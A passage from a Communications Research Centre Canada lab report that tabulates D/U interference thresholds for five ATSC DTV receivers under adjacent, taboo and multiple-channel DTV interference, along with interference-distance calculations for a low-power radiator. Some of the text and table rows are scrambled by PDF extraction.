-29.1 Table 7 – Filtered DTV Interference into Strong DTV © Communications Research Centre Canada Page 17 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesire d DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Moderate N-15 5.7 -58.7 >11.7 <-64.7 -3.8 -49.2 10.2 -63.2 0.7 -53.7 Moderate N-14 5.2 -58.2 >11.7 <-64.7 -5.8 -47.2 5.7 -58.7 0.2 -53.2 Moderate N-13 5.1 -58.1 >11.6 <-64.6 -8.4 -44.6 1.6 -54.6 0.1 -53.1 Moderate N-12 4.7 -57.7 11.2 -64.2 -9.8 -43.2 0.2 -53.2 -0.3 -52.7 Moderate N-11 4.1 -57.1 10.1 -63.1 -11.9 -41.1 -2.4 -50.6 -0.9 -52.1 Moderate N-10 4.0 -57.0 8.0 -61.0 -13.5 -39.5 -5.5 -47.5 -1.0 -52.0 Moderate N-9 3.1 -56.1 6.6 -59.6 -15.4 -37.6 -7.4 -45.6 -1.9 -51.1 Moderate N-8 2.7 -55.7 9.2 -62.2 -15.8 -37.2 -9.8 -43.2 -3.3 -49.7 Moderate N-7 3.2 -56.2 >11.7 <-64.7 -16.8 -36.2 -12.3 -40.7 -3.8 -49.2 Moderate N-6 3.2 -56.2 11.2 -64.2 5.2 -58.2 -13.3 -39.7 -0.3 -52.7 Moderate N-5 0.2 -53.2 10.7 -63.7 5.7 -58.7 -14.8 -38.2 -0.8 -52.2 Moderate N-4 -7.3 -45.7 4.7 -57.7 1.7 -54.7 1.2 -54.2 -1.3 -51.7 Moderate N-3 -11.2 -41.8 -4.2 -48.8 -7.2 -45.8 4.8 -57.8 -3.2 -49.8 Moderate N-2 -12.4 -40.6 -12.4 -40.6 -1.4 -51.6 -0.4 -52.6 -10.9 -42.1 Moderate N-1 -22.7 -30.3 -19.2 -33.8 -15.2 -37.8 -12.7 -40.3 -13.7 -39.3 Moderate N+1 -26.5 -26.5 -15.0 -38.0 -15.0 -38.0 -12.0 -41.0 -13.5 -39.5 Moderate N+2 -15.9 -37.1 -3.4 -49.6 0.1 -53.1 9.1 -62.1 -4.4 -48.6 Moderate N+3 -7.9 -45.1 9.1 -62.1 -22.4 -30.6 -7.4 -45.6 -1.9 -51.1 Moderate N+4 -8.9 -44.1 >11.6 <-64.6 -20.4 -32.6 -3.4 -49.6 -0.4 -52.6 Moderate N+5 0.2 -53.2 2.7 -55.7 -19.8 -33.2 -3.8 -49.2 -0.8 -52.2 Moderate N+6 1.7 -54.7 4.7 -57.7 -10.8 -42.2 3.7 -56.7 -1.8 -51.2 Moderate N+7 -18.4 -34.6 5.1 -58.1 -23.9 -29.1 -0.4 -52.6 -9.9 -43.1 Moderate N+8 0.4 -53.4 8.4 -61.4 -0.1 -52.9 7.9 -60.9 -1.6 -51.4 Moderate N+9 0.7 -53.7 9.7 -62.7 3.2 -56.2 8.7 -61.7 -1.3 -51.7 Moderate N+10 0.6 -53.6 8.6 -61.6 4.1 -57.1 8.1 -61.1 -1.4 -51.6 Moderate N+11 0.2 -53.2 >11.7 <-64.7 10.7 -63.7 10.7 -63.7 -0.8 -52.2 Moderate N+12 0.2 -53.2 >11.7 <-64.7 >11.7 <-64.7 11.2 -64.2 -0.3 -52.7 Moderate N+13 0.8 -53.8 >11.8 <-64.8 >11.8 <-64.8 >11.8 <-64.8 -0.2 -52.8 Moderate N+14 -17.9 -35.1 8.6 -61.6 -15.4 -37.6 -4.9 -48.1 -0.9 -52.1 Moderate N+15 -21.4 -31.6 7.1 -60.1 -18.9 -34.1 -6.4 -46.6 -1.4 -51.6 Table 8 – Filtered DTV Interference into Moderate DTV © Communications Research Centre Canada Page 18 Filtered DTV into Moderate DTV Taboo Channels N-15 N-14 N-13 N-12 N-11 N-10 N-9 N-8 N-7 N-6 N-5 N-4 N-3 N-2 N-1 N+1 N+2 N+3 N+4 N+5 N+6 N+7 N+8 N+9 N+10 N+11 N+12 N+13 N+14 N+15 Desired over Undesired [D/U] (dB) -65 -60 -55 -50 -45 -40 -35 -30 -25 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesired Signal Power (dBm) 12 7 2 -3 -8 -13 -18 -23 -28 © Communications Research Centre Canada Page 19 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesire d DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Weak N-15 -11.3 -56.7 >11.7 <-79.7 -4.3 -63.7 7.7 -75.7 0.2 -68.2 Weak N-14 -11.3 -56.7 >11.7 <-79.7 -9.3 -58.7 1.7 -69.7 0.2 -68.2 Weak N-13 -11.4 -56.6 >11.6 <-79.6 -13.9 -54.1 -2.9 -65.1 -0.4 -67.6 Weak N-12 -11.8 -56.2 11.2 -79.2 -11.8 -56.2 -1.3 -66.7 -0.3 -67.7 Weak N-11 -12.4 -55.6 9.1 -77.1 -12.4 -55.6 -3.4 -64.6 -0.9 -67.1 Weak N-10 -13.0 -55.0 7.5 -75.5 -14.5 -53.5 -8.0 -60.0 -2.0 -66.0 Weak N-9 -12.9 -55.1 5.6 -73.6 -15.9 -52.1 -8.9 -59.1 -3.4 -64.6 Weak N-8 -12.8 -55.2 5.7 -73.7 -17.3 -50.7 -11.3 -56.7 -5.8 -62.2 Weak N-7 -12.3 -55.7 8.7 -76.7 -18.8 -49.2 -13.3 -54.7 -8.8 -59.2 Weak N-6 -12.3 -55.7 2.2 -70.2 -19.3 -48.7 -14.3 -53.7 -1.8 -66.2 Weak N-5 -15.3 -52.7 -4.8 -63.2 -7.3 -60.7 -15.8 -52.2 -2.3 -65.7 Weak N-4 -22.3 -45.7 -12.8 -55.2 -19.8 -48.2 -15.3 -52.7 -8.8 -59.2 Weak N-3 -26.7 -41.3 -21.2 -46.8 -22.7 -45.3 -11.2 -56.8 -16.7 -51.3 Weak N-2 -27.4 -40.6 -28.9 -39.1 -17.4 -50.6 -16.9 -51.1 -23.9 -44.1 Weak N-1 -37.7 -30.3 -35.2 -32.8 -31.2 -36.8 -28.2 -39.8 -29.2 -38.8 Weak N+1 -40.5 -27.5 -30.0 -38.0 -30.5 -37.5 -27.5 -40.5 -31.0 -37.0 Weak N+2 -30.9 -37.1 -18.4 -49.6 -15.4 -52.6 -6.4 -61.6 -19.4 -48.6 Weak N+3 -22.4 -45.6 -5.9 -62.1 -21.9 -46.1 -8.4 -59.6 -7.9 -60.1 Weak N+4 -23.4 -44.6 -1.4 -66.6 -21.4 -46.6 -10.9 -57.1 -7.9 -60.1 Weak N+5 -13.3 -54.7 -6.8 -61.2 -24.3 -43.7 -8.8 -59.2 -8.8 -59.2 Weak N+6 -12.3 -55.7 2.2 -70.2 -13.8 -54.2 1.2 -69.2 -3.8 -64.2 Weak N+7 -32.9 -35.1 3.6 -71.6 -22.4 -45.6 -1.4 -66.6 -10.4 -57.6 Weak N+8 -14.1 -53.9 6.4 -74.4 -0.6 -67.4 7.9 -75.9 -1.6 -66.4 Weak N+9 -13.3 -54.7 6.7 -74.7 0.2 -68.2 7.2 -75.2 -1.3 -66.7 Weak N+10 -13.4 -54.6 2.1 -70.1 -1.4 -66.6 4.1 -72.1 -3.4 -64.6 Weak N+11 -13.8 -54.2 9.7 -77.7 3.7 -71.7 9.2 -77.2 -0.8 -67.2 Weak N+12 -13.3 -54.7 11.2 -79.2 >11.7 <-79.7 11.2 -79.2 -0.3 -67.7 Weak N+13 -13.2 -54.8 >11.8 <-79.8 >11.8 <-79.8 11.3 -79.3 0.3 -68.3 Weak N+14 -32.4 -35.6 -6.4 -61.6 -29.9 -38.1 -20.4 -47.6 -10.9 -57.1 Weak N+15 -36.4 -31.6 -8.4 -59.6 -32.9 -35.1 -21.4 -46.6 -12.4 -55.6 Table 9 – Filtered DTV Interference into Weak DTV © Communications Research Centre Canada Page 20 Filtered DTV into Weak DTV Taboo Channels N-15 N-14 N-13 N-12 N-11 N-10 N-9 N-8 N-7 N-6 N-5 N-4 N-3 N-2 N-1 N+1 N+2 N+3 N+4 N+5 N+6 N+7 N+8 N+9 N+10 N+11 N+12 N+13 N+14 N+15 Desired over Undesired [D/U] (dB) -80 -75 -70 -65 -60 -55 -50 -45 -40 -35 -30 -25 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesired Signal Power (dBm) 12 7 2 -3 -8 -13 -18 -23 -28 -33 -38 -43 © Communications Research Centre Canada Page 21 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesire d DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Contour+7d B N-15 -13.3 -62.7 Fail Fail -6.3 -69.7 3.2 -79.2 -0.3 -75.7 Contour+7d B N-14 -13.8 -62.2 Fail Fail -12.3 -63.7 -0.8 -75.2 -0.3 -75.7 Contour+7d B N-13 -14.4 -61.6 Fail Fail -16.9 -59.1 -5.4 -70.6 -1.4 -74.6 Contour+7d B N-12 -14.8 -61.2 8.7 -84.7 -13.3 -62.7 -4.3 -71.7 -0.8 -75.2 Contour+7d B N-11 -14.9 -61.1 2.6 -78.6 -14.4 -61.6 -5.9 -70.1 -1.4 -74.6 Contour+7d B N-10 -15.0 -61.0 6.0 -82.0 -17.5 -58.5 -11.0 -65.0 -2.5 -73.5 Contour+7d B N-9 -14.9 -61.1 4.6 -80.6 -17.9 -58.1 -11.4 -64.6 -3.9 -72.1 Contour+7d B N-8 -14.8 -61.2 3.2 -79.2 -19.3 -56.7 -13.8 -62.2 -6.3 -69.7 Contour+7d B N-7 -14.3 -61.7 0.7 -76.7 -21.3 -54.7 -15.8 -60.2 -9.3 -66.7 Contour+7d B N-6 -13.8 -62.2 -6.3 -69.7 -21.8 -54.2 -17.3 -58.7 -10.8 -65.2 Contour+7d B N-5 -17.8 -58.2 -13.3 -62.7 -20.8 -55.2 -17.3 -58.7 -10.8 -65.2 Contour+7d B N-4 -23.8 -52.2 -20.8 -22.8 - -55.2 -53.2 19.3 -56.7 -17.8 -58.2 Contour+7d B N-3 -28.2 -47.8 -29.2 -24.2 - -46.8 -51.8 19.7 -56.3 -26.2 -49.8 Contour+7d B N-2 -28.4 -47.6 -37.4 -38.6 -26.4 -49.6 -24.9 -51.1 -32.4 -43.6 Contour+7d B N-1 -40.2 -35.8 -43.7 -32.3 -39.2 -36.8 -35.7 -40.3 -37.2 -38.8 Contour+7d B N+1 -48.0 -28.0 -39.0 -37.0 -39.0 -37.0 -36.0 -40.0 -38.0 -38.0 Contour+7d -14.9 -61.1 -28.4 -47.6 N+2 -31.4 -44.6 -26.9 -49.1 -23.9 -52.1 © Communications Research Centre Canada Page 22 B Contour+7d B -58.1 N+3 -22.9 -53.1 -14.4 -61.6 -24.4 -51.6 -10.4 -65.6 -17.9 Contour+7d B -60.1 N+4 -27.9 -48.1 -9.9 -66.1 -23.9 -52.1 -14.9 -61.1 -15.9 Contour+7d B -63.2 N+5 -14.8 -61.2 -9.8 -66.2 -27.3 -48.7 -11.3 -64.7 -12.8 Contour+7d B -66.2 N+6 -12.8 -63.2 0.7 -76.7 -16.3 -59.7 -0.8 -75.2 -9.8 Contour+7d B -64.6 N+7 -33.9 -42.1 2.6 -78.6 -24.4 -51.6 -3.9 -72.1 -11.4 Contour+7d B -73.9 N+8 -14.1 -61.9 5.9 -81.9 -4.1 -71.9 7.4 -83.4 -2.1 Contour+7d B -73.7 N+9 -13.8 -62.2 5.7 -81.7 -2.3 -73.7 5.7 -81.7 -2.3 Contour+7d B -70.1 N+10 -13.9 -62.1 -0.4 -75.6 -4.4 -71.6 1.6 -77.6 -5.9 Contour+7d B N+11 -14.8 -61.2 6.7 -82.7 Fail Fail 6.7 -82.7 -1.3 -74.7 Contour+7d B N+12 -13.8 -62.2 10.7 -86.7 >11.7 <-87.7 10.7 -86.7 -0.8 -75.2 Contour+7d B N+13 -13.7 -62.3 >11.8 <-87.8 6.8 -82.8 10.3 -86.3 -0.7 -75.3 Contour+7d B -55.6 N+14 -40.9 -35.1 -15.4 -60.6 -38.9 -37.1 -29.4 -46.6 -20.4 Contour+7d B -54.6 N+15 -45.4 -30.6 -16.9 -59.1 -41.9 -34.1 -30.4 -45.6 -21.4 Table 10 – Filtered DTV Interference into 7 dB above Edge of DTV Contour © Communications Research Centre Canada Page 23 Filtered DTV into 7 dB above Edge of DTV Contour Taboo Channels N-15 N-14 N-13 N-12 N-11 N-7 N-6 N-5 N-4 N-3 N-2 N-1 N+1 N+2 N+3 N+5 N+ N N 3 15 N-10 N-9 N-8 N+4 6 N+7 +8 N+9 N+10 N+11 +12 N+1 N+14 N+ Desired over Undesired [D/U] (dB) -90 -85 -80 -75 -70 -65 -60 -55 -50 -45 -40 -35 -30 -25 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesired Signal Power (dBm) 12 7 2 -3 -8 -13 -18 -23 -28 -33 -38 -43 -48 -53 4.2 The the tw lts ul e DTV into DTV purpose of this test was to determine the performance of the 8-VSB receivers under u t ri signals. Due to laboratory limitations, only the case of ng als s evaluated. However, tests were conducted using both ad nel and taboo DTV channel interference. In some cases, the combination of the two undesired channels was set to create intermodulation products. ing ure was used to test the receivers under multiple undesired signals: un d s al s re-tested alone; the level of interference (D/U) at TOV c for h gle undesired DTV signal. un d s als were combined with the desired signal and connected to the receiver under test. Please refer to figure 1 for laboratory set-up. 3 sig el ne of the undesired DTV signals (Undesired #1) was reduced din the result obtained in step 1. 4. The level of interfer /U) at TOV for the other undesired DTV signal The tests were conducted only at ATSC Weak (-68dBm) power level for the desired DTV signal. The following scenarios were done: − and int V; − N-2 and N+2 into DT - nd N+3 into DT d int V n int TV; N+2 and N+4 into DTV; − 3 an int TV; − 7 an 4 in TV ve Und ire 1 used in these testes was filtered according to the FCC T us tw ignals was not done. In general, it would be ex tw iltered signal could reduce the measured D/U ratios and therefore could increase the performance degradation shown. Resu for M tipl c o jac ase o inter ent c f m feri han ltip s le in ign erfe wa ng The follow proced 1 2 . Ea wa . Bo ch s re th de ord de sire ed sire ign eac ign wa sin . The by 3 nal ac lev cor of o g to dB ence (D . (Undesired #2) was recorded. N-1 N+1 o DT V; V; ; − − − − N N- N+ 3 a 4 an 2 a N d N +3 +3 o DT o D N+ N+ d N d N +6 +1 o D to D As DT no V pec ted mas ted abo k. that , t est usi he ing ng es ing o unf d # o unfiltered s © Communications Research Centre Canada Page 24 © Communications Research Centre Canada Page 25 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Test Condition Un +1 Un D/U Un D/U Un D/U Un D/U Un D/U Desired: -68 dBm desired #1 (U1): N Undesired #2 (U2): N-1 desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) desire d Signal Level (dBm) (dB) Single Undesired into DTV U1 at TOV only -40.5 -27.5 -30.0 -38.0 -30.5 -37.5 - 27.5 -40.5 -28.5 -39.5 U2 at TOV only -38.4 -29.6 -35.4 -32.6 -31.9 -36.1 - 31.9 -36.1 -30.9 -37.1 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -32.4 -35.6 -38.9 -29.1 -33.9 -34.1 -34.4 -33.6 -35.4 -32.6 Degradation - 6.0 dB 3.5 dB 2.0 dB 2.5 dB 4.5 dB Table 11 – N+1 and N-1 into Weak DTV -45 -40 -35 -30 -25 -20 N-1 N+1 N-1 N+1 N-1 N+1 N-1 N+1 N-1 N+1 Desired Over Undesired [D/U] (dB) Single Interference Dual Interference Receiver 4 Receiver 5 Receiver 3 Receiver 2 Receiver 1 N: Desired N+1: Undesired 1 (3dB Back off in Dual Interference) N-1: Undesired 2 © Communications Research Centre Canada Page 26 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Test Condition Desired: -68 dBm Undesired #1 (U1): N+2 Undesired #2 (U2): N-2 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -30.2 -37.8 -17.7 -50.3 -15.2 -52.8 -6.7 -61.3 -18.7 -49.3 U2 at TOV only -28.4 -39.6 -28.4 -39.6 -23.9 -44.1 -23.9 -44.1 -25.4 -42.6 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -28.9 -39.1 -34.4 -33.6 -26.4 -41.6 -26.9 -41.1 -28.4 -39.6 Degradation 0.5 dB 6.0 dB 2.5 dB 3.0 dB 3.0 dB Table 12 – N+2 and N-2 into Weak DTV -70 -60 -50 -40 -30 -20 -10 0 N-2 N+2 N-2 N+2 N-2 N+2 N-2 N+2 N-2 N+2 Desired Over Undesired [D/U] (dB) Single Interference Dual Interference Receiver 4 Receiver 5 Receiver 3 Receiver 2 Receiver 1 N: Desired N+2: Undesired 1 (3dB Back off in Dual Interference) N-2: Undesired 2 © Communications Research Centre Canada Page 27 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Test Condition Desired: -68 dBm Undesired #1 (U1): N+3 Undesired #2 (U2): N-3 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -21.7 -46.3 -6.2 -61.8 -24.2 -43.8 -8.7 -59.3 -7.7 -60.3 U2 at TOV only -27.9 -40.1 -23.9 -44.1 -24.4 -43.6 -23.4 -44.6 -23.4 -44.6 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -29.4 -38.6 -26.4 -41.6 -41.4 -26.6 -39.4 -28.6 -26.9 -41.1 Degradation 1.5 dB 2.5 dB 17.0 dB 16.0 dB 3.5 dB Table 13 – N+3 and N-3 into Weak DTV -70 -60 -50 -40 -30 -20 -10 0 N-3 N+3 N-3 N+3 N-3 N+3 N-3 N+3 N-3 N+3 Desired Over Undesired [D/U] (dB) Single Interference Dual Interference Receiver 4 Receiver 5 Receiver 3 Receiver 2 Receiver 1 N: Desired N+3: Undesired 1 (3dB Back off in Dual Interference) N-3: Undesired 2 © Communications Research Centre Canada Page 28 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Test Condition Desired: -68 dBm Undesired #1 (U1): N+3 Undesired #2 (U2): N-4 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -22.1 -45.9 -5.6 -62.4 -24.6 -43.4 -8.6 -59.4 -7.6 -60.4 U2 at TOV only -23.6 -44.4 -10.1 -57.9 -20.1 -47.9 -15.1 -52.9 -10.1 -57.9 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -48.1 -19.9 -14.6 -53.4 -36.1 -31.9 -36.6 -31.4 -21.6 -46.4 Degradation 24.5 dB 4.5 dB 16.0 dB 21.5 dB 11.5 dB Table 14 – N+3 and N-4 into Weak DTV -70 -60 -50 -40 -30 -20 -10 0 N-4 N+3 N-4 N+3 N-4 N+3 N-4 N+3 N-4 N+3 Desired Over Undesired [D/U] (dB) Single Interference Dual Interference Receiver 4 Receiver 5 Receiver 3 Receiver 2 Receiver 1 N: Desired N+3: Undesired 1 (3dB Back off in Dual Interference) N-4: Undesired 2 © Communications Research Centre Canada Page 29 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Test Condition Desired: -68 dBm Undesired #1 (U1): N+2 Undesired #2 (U2): N+3 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -30.5 -37.5 -18.5 -49.5 -15.0 -53.0 -6.0 -62.0 - 18.5 -49.5 U2 at TOV only -21.6 -46.4 -13.1 -54.9 -24.1 -43.9 -12.6 -55.4 -13.6 -54.4 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -27.6 -40.4 -15.6 -52.4 -27.6 -40.4 -25.1 -42.9 -16.6 -51.4 Degradation 6.0 dB 2.5 dB 3.5 dB 12.5 dB 3.0 dB Table 15 – N+2 and N+3 into Weak -70 -60 -50 -40 -30 -20 -10 0 N+2 N+3 N+2 N+3 N+2 N+3 N+2 N+3 N+2 N+3 Desired Over Undesired [D/U] (dB) Single Interference Dual Interference Receiver 4 Receiver 5 Receiver 3 Receiver 2 Receiver 1 N: Desired N+2: Undesired 1 (3dB Back off in Dual Interference) N+3: Undesired 2 © Communications Research Centre Canada Page 30 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Test Condition Desired: -68 dBm Undesired #1 (U1): N+2 Undesired #2 (U2): N+4 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -30.5 -37.5 -18.5 -49.5 -15.0 -53.0 -6.5 -61.5 -19.0 -49.0 U2 at TOV only -22.8 -45.2 -7.8 -60.2 -20.3 -47.7 -10.8 -57.2 -9.3 -58.7 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -31.3 -36.7 -9.3 -58.7 -31.8 -36.2 -33.3 -34.7 -17.3 -50.7 Degradation 8.5 dB 1.5 dB 11.5 dB 22.5 dB 8.0 dB Table 16 – N+2 and N+4 into Weak DTV -70 -60 -50 -40 -30 -20 -10 0 N+2 N+4 N+2 N+4 N+2 N+4 N+2 N+4 N+2 N+4 Desired Over Undesired [D/U] (dB) Single Interference Dual Interference Receiver 4 Receiver 5 Receiver 3 Receiver 2 Receiver 1 N: Desired N+2: Undesired 1 (3dB Back off in Dual Interference) N+4: Undesired 2 © Communications Research Centre Canada Page 31 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Test Condition Desired: -68 dBm Undesired #1 (U1): N+3 Undesired #2 (U2): N+6 Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/U (dB) Single Undesired into DTV U1 at TOV only -22.0 -46.0 -6.0 -62.0 -24.5 -43.5 -8.5 -59.5 -8.0 -60.0 U2 at TOV only -13.3 -54.7 -2.3 -65.7 -13.3 -54.7 -1.8 -66.2 -4.8 -63.2 Multiple Undesired into DTV U2 at TOV In presence of U1 – 3dB -42.8 -25.2 -22.3 -45.7 -44.8 -23.2 -35.8 -32.2 -37.8 -30.2 Degradation 29.5 dB 20.0 dB 31.5 dB 34.0 dB 33.0 dB -70 -60 -50 -40 -30 -20 -10 0 N+3 N+6 N+3 N+6 N+3 N+6 N+3 N+6 N+3 N+6 Desired Over Undesired [D/U] (dB) Single Interference Dual Interference Receiver 4 Receiver 5 Receiver 3 Receiver 2 Receiver 1 N: Desired N+3: Undesired 1 (3dB Back off in Dual Interference) N+6: Undesired 2 Table 17 – N+3 and N+6 into Weak DTV © Communications Research Centre Canada Page 32 Rec r e eive 1 Receiver 2 Receiver 3 Receiv r 4 Receiver 5 Test Condition Desired: Undesired # Undesired # si a el m) d i Le d n Si L (d ) U ) -68 dB 1 (U1): 2 (U2): m N+7 N+14 Unde d Sign Lev (dB re l D/U (dB) Un S ( esire d gnal vel Bm) D/U (dB) U desire d gnal evel Bm) D/U (dB Undesire d Signal Level (dBm) D/U (dB) Undesire d Signal Level (dBm) D/ (dB Single Undesired into DTV U1 at TOV only 5 - 3 - 5 0 -32. 35.5 .5 -71.5 19.5 -48. -1.5 -66.5 -10.0 -58. U2 at TOV only 5 - -1 - 0 0 -35. 32.5 0.5 -57.5 30.0 -38. -19.5 -48.5 -12.0 -56. Multiple Undesired into DTV U2 at TOV In presence of U1 0 - -3 - 0 5 – 3dB -38. 30.0 5.0 -33.0 32.0 -36. -29.0 -39.0 -36.5 -31. Degradation B d 2.5 dB 24.5 dB 2.0 dB 9.5 d 24.5 B Table 18 – N+7 and N+14 into Weak DTV -80 -70 -60 -50 -40 -30 -20 -10 0 N+7 N+14 N +14 +1 Desired Over Undesired [D/U] (dB) N+7 N+14 N+7 N+14 +7 N N+7 N 4 Single Interference Dual Interference Receiver 4 5 e c R ve Receiver R eiver 2 ceiver 3 Re ecei r 1 N: Desired N+7: Undesired 1 (3dB Back off in Dual Interference) N+14: Undesired 2 © Communications Research Centre Canada Page 33 4.3 Calculations for Interference Distance from a Single Radiating Device In this section, the distance “r”, at which a radiating device can cause a DTV receiver to reach the threshold of visibility (TOV) of artifacts on its screen, is calculated and resented. TOV is the starting point of inability of the receiver to resolve interference. At ecause of the “cliff effect” that characterizes digital signal reception. All the test results and the corresponding calculations presented below represent the case of single undesired adjacent channel interference (in the range of N-15 to N+15) into the desired DTV channel. For performing the calculations, “DTV into DTV adjacent channel D/U ratios” (obtained by tests; Tables 4, 5, 9 and 10) are used. Tables 19 to 22 show the “D/U ratios @ TOV for adjacent channel DTV interference into DTV” for different conditions, the corresponding dBm values of the undesired DTV channel that causes TOV for the desired channel (obtained by subtracting D/U @ TOV from the dBm value of the desired signal), and the calculated values of “r”. As mentioned earlier, five different receivers (Rx. #1 to Rx. #5) are used and two cases of “fixed desired” and “fixed undesired” DTV channel conditions are considered. For the case of fixed desired, the desired DTV channel is taken to be Ch-32 and the undesired DTV channel is changed from Ch-17 to Ch-47 and is unfiltered. For the case of fixed undesired, the undesired DTV channel is filtered and is taken to be Ch-46 and the desired DTV channel is changed from Ch-61 to Ch-31. For each of the above two conditions (fixed desired and fixed undesired), the test results and the calculations are shown for the two cases of weak (-68 dBm) and 7 dB above Edge of DTV Contour (-76 dBm) desired DTV signal levels. In summary, the following four tables (19 to 22) are for: Fixed desired, and an ATSC weak (–68 dBm) desired signal level (undesired signal not filtered) Fixed desired, and a desired signal level at 7 dB above Edge of Contour Value ( – 76 dBm) (undesired signal not filtered) Fixed undesired, and an ATSC weak (–68 dBm) desired signal level (undesired signal filtered) Fixed undesired, and a desired signal level at 7 dB above Edge of Contour Value (–76 dBm) (undesired signal filtered) p any distance closer than “r” to the radiator where the interference to the DTV channel is higher, complete reception failure could be expected. This is b © Communications Research Centre Canada Page 34 The radiating device is assumed to be a point radiator with 100-mW output power and 6- dBi transm mW be r transmission line to which it is connected, and to have the same e ix 2 represents all the relations and the procedures that have been used, and all the as itting antenna 6 gain, which e is equiva ng lent to m a a sum ximum e radiated ha power of -dB 400- , to (or 2 dBm). Th DTV receivi antenn is as d to ve 0 i gain matched with the load o pola App rization as the incident wave. nd p sum tions that have been made to carry out the calculations. © Communications Research Centre Canada Page 35 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesire d DTV Channel Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) Und. Level (dBm) D/U (dB) Dist. “r” (m) N–15 -13.2 -54.8 4.4 5.3 -73.3 0.5 -7.2 -60.8 2.2 -3.7 -64.3 1.5 -0.2 -67.8 1.0 N–14 -30.2 -37.8 31.1 3.8 -71.8 0.6 -6.7 -61.3 2.1 -3.2 -64.8 1.4 -0.2 -67.8 1.0 N–13 -12.7 -55.3 4.1 4.8 -72.8 0.5 -8.2 -59.8 2.4 -5.2 -62.8 1.7 -0.2 -67.8 1.0 N–12 -12.1 -55.9 3.8 -0.6 -67.4 1.0 -10.6 -57.4 3.2 -8.1 -59.9 2.4 -4.1 -63.9 1.5 N–11 -14.6 -53.4 5.0 -1.6 -66.4 1.1 -13.6 -54.4 4.4 -11.6 -56.4 3.5 -2.6 -65.4 1.2 N–10 -11.7 -56.3 3.5 -1.7 -66.3 1.1 -12.7 -55.3 4.0 -10.7 -57.3 3.1 -2.7 -65.3 1.2 N–9 -11.7 -56.3 3.5 -3.2 -64.8 1.3 -17.2 -50.8 6.6 -16.2 -51.8 5.8 -4.7 -63.3 1.6 N–8 -12.4 -55.6 3.7 -1.4 -66.6 1.1 -15.9 -52.1 5.6 -14.4 -53.6 4.7 -5.4 -62.6 1.7 N–7 -15.9 -52.1 5.5 -6.9 -61.1 2.0 -16.9 -51.1 6.2 -16.9 -51.1 6.2 -8.4 -59.6 2.3 N–6 -11.8 -56.2 3.4 -2.3 -65.7 1.1 -17.8 -50.2 6.8 -17.8 -50.2 6.8 -5.8 -62.2 1.7 N–5 -16.0 -52.0 5.5 -3.0 -65.0 1.2 -19.5 -48.5 8.2 -19.5 -48.5 8.2 -6.0 -62.0 1.7 N–4 -22.3 -45.7 11.2 -8.8 -59.2 2.4 -19.8 -48.2 8.4 -18.3 -49.7 7.0 -10.3 -57.7 2.8 N–3 -26.4 -41.6 17.7 -16.9 -51.1 5.9 -21.9 -46.1 10.5 -16.9 -51.1 5.9 -17.4 -50.6 6.3 N–2 -27.8 -40.2 20.6 -26.8 -41.2 18.3 -23.8 -44.2 13.0 -23.8 -44.2 13.0 -24.8 -43.2 14.6 N–1 -38.3 -29.7 68.2 -33.8 -34.2 40.6 -31.3 -36.7 